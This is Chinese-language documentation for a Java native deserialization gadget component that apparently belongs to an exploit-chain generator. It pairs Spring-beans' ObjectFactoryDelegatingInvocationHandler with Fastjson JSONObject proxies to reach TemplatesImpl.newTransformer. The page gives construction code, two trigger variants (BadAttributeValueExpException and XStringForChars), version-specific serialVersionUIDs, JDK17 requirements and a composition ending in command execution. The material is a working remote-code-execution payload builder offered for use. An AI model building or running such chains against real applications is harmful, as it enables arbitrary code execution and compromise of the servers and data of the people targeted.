- 类别:javanative 别名:— 优先级:12
- 作者:Unam4
- 依赖:
Fastjson 1.x、Spring-beans
组合 Spring AutowireUtils$ObjectFactoryDelegatingInvocationHandler 动态代理 + Fastjson JSONObject(本身是 Map,可被当作 InvocationHandler)+ Templates 代理,构造一个 Java 原生反序列化链。反序列化触发 toString(低 JDK 用 BadAttributeValueExpException,高 JDK 用 XStringForChars)时,经 JSONObject.toString → 遍历取值 → 触发 ObjectFactory.getObject() 代理 → 最终调用内层 Templates.newTransformer() 加载恶意字节码。可打到 JDK17(需开放 java.base 相关模块)。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(最外层为ArrayList,其元素在readObject时被处理)。 - 衔接
nextTags:TemplatesImplChain—— 之后接TemplatesImpl,由newTransformer引爆字节码。 excludes:无。
public Object getObject(Object obj) throws Exception {
if (this.serialVersionUID == "-1515767093960859525") {
JavassistHelper javassistHelper = new JavassistHelper(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
javassistHelper.setSerialVersionUID("-1515767093960859525");
CtClass ObjectFactoryInv = javassistHelper.getCtClass();
Class aClass = ObjectFactoryInv.toClass((ClassLoader)new URLClassLoader(new URL[0]), null);
this.inv = Reflections.createWithoutConstructor(aClass);
ObjectFactoryInv.defrost();
} else {
this.inv = Reflections.createWithoutConstructor(
"org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
}
...
}- 先无构造器实例化 Spring 内部类
AutowireUtils$ObjectFactoryDelegatingInvocationHandler(一个InvocationHandler)。当选用高版本 UID-1515767093960859525时,用JavassistHelper动态改写该类的serialVersionUID再toClass加载,以匹配目标 Spring-beans 版本、避免InvalidClassException;否则直接实例化原类(对应低版本 UID-8835275493235412717)。
HashMap<String, Object> hashMap = new HashMap<>();
hashMap.put("object", obj);
JSONObject jsonObject = new JSONObject(hashMap);
Object o2 = Proxy.newProxyInstance(..., new Class[]{ObjectFactory.class}, (InvocationHandler)jsonObject);
Reflections.setFieldValue(this.inv, "objectFactory", o2);
Object o = Proxy.newProxyInstance(..., new Class[]{Templates.class}, (InvocationHandler)this.inv);
JSONArray jsonArray = new JSONArray();
jsonArray.add(o);- 核心两层代理:
- 内层
o2:以 FastjsonJSONObject(键object→ 内层obj,即TemplatesImpl)作为InvocationHandler,代理ObjectFactory接口。FastjsonJSONObject.invoke在被调用 getter(getObject)时会返回 map 里object键对应的值。 - 反射把
o2写入inv的objectFactory字段。ObjectFactoryDelegatingInvocationHandler.invoke会调用objectFactory.getObject()拿到真实目标(即TemplatesImpl),再把方法转发过去。 - 外层
o:以inv作为 handler、代理Templates接口。于是对o调用Templates.newTransformer()→inv.invoke→objectFactory.getObject()(返回 TemplatesImpl)→ 在 TemplatesImpl 上真正执行newTransformer(),触发字节码加载。
o放进JSONArray,等待被toString。
- 内层
if (this.toString.equals("xString")) {
...XStringForChars xString...;
HashMap map = PayloadHelper.makeMap(hashMap1, hashMap2); // HashMap 键碰撞触发 toString
ArrayList arrayList = ...; arrayList.add(obj); arrayList.add(o); arrayList.add(map);
return arrayList;
}
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Reflections.setFieldValue(badAttributeValueExpException, "val", jsonArray);
...
ArrayList arrayList = ...; arrayList.add(obj); arrayList.add(badAttributeValueExpException);
return arrayList;- 触发器二选一:
badAttributeValueExpException(默认,低 JDK):反射把其val设为jsonArray。BadAttributeValueExpException.readObject在特定条件下会调用val.toString(),进而JSONArray.toString→ 遍历元素调o.toString()... 实际上 Fastjson 的JSONArray.toString序列化时对每个元素取属性,触发代理getObject/newTransformer。xString(高 JDK/JDK17):用XStringForChars(m_obj置空 char[])配合PayloadHelper.makeMap构造HashMap键哈希碰撞,在HashMap.readObject → putVal → key.equals时触发toString/equals链;XString在高 JDK 上serialVersionUID一致,无需改写。
- 两分支都把内层原始
obj也放进返回的ArrayList首位(用于携带/占位)。
invoke 仅 return this.getObject(chain.doCreate(context));。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
toString |
选用 toString 进行触发 | 选择用 BadAttributeValueExpException(低 JDK)还是 xString(高 JDK,SerId 一致)触发 |
badAttributeValueExpException |
badAttributeValueExpException / xString |
serialVersionUID |
serialVersionUID | 选择 AutowireUtils$ObjectFactoryDelegatingInvocationHandler 的 UID 以匹配目标 Spring-beans 版本 |
-1515767093960859525 |
-8835275493235412717(低版本 Spring-beans <5.3) / -1515767093960859525(高版本 >=5.3) |
- 依赖 Fastjson 1.x(提供
JSONObject/JSONArray作为Map/InvocationHandler载体)+ Spring-beans(提供ObjectFactoryDelegatingInvocationHandler)。 - 高低版本 Spring-beans 的目标内部类 UID 不同,需按
serialVersionUID参数匹配;高版本分支用 Javassist 动态改写 UID。 - 打 JDK17 需选
xString触发,并开放java.base/java.io=ALL-UNNAMED,java.base/java.lang=ALL-UNNAMED(作者注:高版本 web 应用默认开放)。 - 最终 sink 为
Templates.newTransformer→TemplatesImpl字节码defineClass。
自由构件,未直接出现在预设链(usedInChains 为空)。可自行拼接 [SpringBeansFastjson, TemplatesImpl, BytecodeConvert, Exec]。
- 下游(
nextTags=TemplatesImplChain):TemplatesImpl → BytecodeConvert → Exec。 - 同族 Spring / Fastjson 构件:SpringAopAspectjweaver、Fastjson、
JacksonToString(同为 toString 触发的高版本打法参考)。